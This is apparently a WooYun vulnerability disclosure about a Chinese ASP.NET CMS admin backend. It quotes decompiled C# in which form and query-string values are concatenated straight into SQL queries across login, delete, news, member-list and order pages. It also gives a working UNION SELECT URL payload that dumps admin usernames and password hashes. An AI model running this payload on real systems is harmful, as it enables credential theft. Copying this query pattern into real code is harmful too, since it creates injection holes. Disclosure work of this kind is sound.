WooYun.org

protected void Page_Load(object sender, EventArgs e)
    {
        if (!Commen1.JudgeLogin(this.Page, this.DAL1))//此处判断是否登录 否则弹出JS
        /*省略*/
    }
    protected void ImageButton1_Click(object sender, EventArgs e)
    {
        string text = base.Request.Form["UserName"].ToString().Trim();
        string password = base.Request.Form["UserPwd"].ToString().Trim();
        string text2 = FormsAuthentication.HashPasswordForStoringInConfigFile(password, "MD5");
        int num = Convert.ToInt32(this.DAL1.ExecuteScalar(string.Concat(new string[]
        {
            "select count(*) from admin where admin='",
            text,
            "' and pwd='",
            text2,
            "'"
        })));//这里添加用户
        if (num > 0)
        {
            base.Response.Redirect("Admin_User.aspx?A=" + text + "&P=" + text2);
            return;
        }
        base.Response.Write("<script language=javascript>window.alert('请您正确输入用户名和密码！(普通用户不能登录！)');window.location.href=('Admin_User_Login.aspx');</script>");
    }、

page.Response.Write("<script language=javascript>window.alert('请您重新登陆。');window.location.href=('Admin_Login.aspx')</script>");

http://192.168.10.55:7666/CDQHCmsBack/CmsLookMessageMember.aspx?id=0 union all select id,admin,pwd,lognum,'',logtime,'' from admin

http://192.168.10.55:7666/CDQHCmsBack/CmsDelMessageMember.aspx

string text = (base.Request.QueryString["id"] == null) ? "" : base.Request.QueryString["id"];
            if (text == "")
            {
                return;
            }
            this.Bll1.Delete("delete from QH_MessageMember where id=" + text);

http://192.168.10.55:7666/CDQHCmsBack/CmsMember_ModifyNews.aspx

protected void Page_Load(object sender, EventArgs e)
        {
             /*省略N行*/
                this.ViewState["id"] = base.Request.QueryString["id"].ToString();
                this.DataToBind();
            }
        }
        private void DataToBind()
        {
            DataTable dataTable = this.Bll1.GetDataTable("select Title,Content,AddDate,ModyDate,Author,hits from Member_News where id=" + (string)this.ViewState["id"]);
            if (dataTable == null)
             /*省略N行*/
            }

http://192.168.10.55:7666/CDQHCmsBack/CmsMemberManage

private int CalculateRecordNumber()
        {
            return this.Bll1.DAL1.ExecuteReader("select count(*) as co from MemberUser " + (string)this.ViewState["QWhere"]);
        }
        private ICollection CreateSource()
        {
            string strQuery = "select  *,switch(Sex='1','男',Sex='2','女',true, '未知') as Sex from MemberUser " + (string)this.ViewState["QWhere"] + " order by UserID desc ";

http://192.168.10.55:7666/CDQHCmsBack/CmsOrderDetails.aspx

string text = base.Request.QueryString["sub_num"];
            if (string.IsNullOrEmpty(text))
            {
                return;
            }
            try
            {
                DataSet dataSet = this.Bll1.DAL1.GetDataSet("select * from ShopCart_basket where sub_number='" + text + "' and basket_check=1 order by basket_id asc");